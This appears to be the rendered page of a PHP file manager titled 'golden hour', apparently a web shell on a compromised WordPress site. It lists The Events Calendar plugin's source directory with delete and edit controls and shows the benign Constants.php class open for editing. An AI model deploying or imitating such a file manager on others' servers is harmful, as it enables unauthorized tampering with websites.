golden hour
/var/www/html/wp-content/plugins/the-events-calendar/src/Tribe
⬆️ Go Up
Upload
File/Folder
Size
Actions
API.php
27.83 KB
Del
OK
Adjacent_Events.php
9.13 KB
Del
OK
Admin
-
Del
OK
Admin_List.php
14.59 KB
Del
OK
Aggregator
-
Del
OK
Aggregator.php
16.7 KB
Del
OK
Ajax
-
Del
OK
Amalgamator.php
8.86 KB
Del
OK
Assets.php
19.96 KB
Del
OK
Backcompat.php
2.79 KB
Del
OK
Bar.php
3.28 KB
Del
OK
Capabilities.php
5.56 KB
Del
OK
Collections
-
Del
OK
Constants.php
1.64 KB
Del
OK
Cost_Utils.php
4.81 KB
Del
OK
Customizer
-
Del
OK
Dates
-
Del
OK
Deactivation.php
1.31 KB
Del
OK
Default_Values.php
793 B
Del
OK
Editor
-
Del
OK
Editor.php
16.92 KB
Del
OK
Embedded_Maps.php
5.37 KB
Del
OK
Event_Cleaner.php
2.59 KB
Del
OK
Event_Cleaner_Scheduler.php
5.95 KB
Del
OK
Event_Tickets
-
Del
OK
Featured_Events
-
Del
OK
Featured_Events.php
1.75 KB
Del
OK
Front_Page_View.php
9.87 KB
Del
OK
Google
-
Del
OK
Gutenberg.php
2.71 KB
Del
OK
I18n.php
10.51 KB
Del
OK
Ignored_Events.php
31.25 KB
Del
OK
Importer
-
Del
OK
Integrations
-
Del
OK
JSON_LD
-
Del
OK
Linked_Posts
-
Del
OK
Linked_Posts.php
43.79 KB
Del
OK
List_Widget.php
7.64 KB
Del
OK
Main.php
195.46 KB
Del
OK
Meta
-
Del
OK
Models
-
Del
OK
Options_Exception.php
890 B
Del
OK
Organizer.php
22.22 KB
Del
OK
Plugin_Register.php
675 B
Del
OK
Post_Exception.php
859 B
Del
OK
Privacy.php
1.31 KB
Del
OK
Query.php
54.4 KB
Del
OK
REST
-
Del
OK
Recurring_Event_Cleanup.php
2.13 KB
Del
OK
Repositories
-
Del
OK
Revisions
-
Del
OK
Rewrite.php
30.31 KB
Del
OK
Service_Providers
-
Del
OK
Shortcode
-
Del
OK
Template
-
Del
OK
Template_Factory.php
17.79 KB
Del
OK
Templates.php
24.04 KB
Del
OK
Timezones.php
6.37 KB
Del
OK
Updater.php
8.13 KB
Del
OK
Utils
-
Del
OK
Validator
-
Del
OK
Venue.php
22.95 KB
Del
OK
Views
-
Del
OK
iCal.php
26.37 KB
Del
OK
Edit: Constants.php
<?php class Tribe__Events__Constants implements ArrayAccess { /** * @var bool Whether the class will define and read real constants or not. */ protected $volatile; /** * @var array An array that will store volatile values if the class is used in volatile mode. */ protected $volatile_values; /** * Tribe__Events__Constants constructor. * * @param bool $volatile If `true` the class will not define and read real constants. */ public function __construct( $volatile = false ) { $this->volatile = $volatile; $this->volatile_values = []; } /** * Whether a constant is defined or not. * * @param string $offset * * @return bool */ public function offsetExists( $offset ) { return $this->volatile ? isset( $this->volatile_values[ $offset ] ) : defined( $offset ); } /** * Gets a constant value. * * @param string $offset * * @return mixed */ public function offsetGet( $offset ) { return $this->volatile ? $this->volatile_values[ $offset ] : constant( $offset ); } /** * Sets the value of a constant if not already defined. * * @param string $offset * @param mixed $value */ public function offsetSet( $offset, $value ) { if ( $this->volatile && ! isset( $this->volatile_values[ $offset ] ) ) { $this->volatile_values[ $offset ] = $value; } else { if ( ! defined( $offset ) ) { define( $offset, $value ); } } } /** * Unsets a constant if in volatile mode. * * @param string $offset */ public function offsetUnset( $offset ) { if ( $this->volatile ) { $this->volatile_values = array_diff( $this->volatile_values, [ $offset ] ); } else { // no op } } }
Save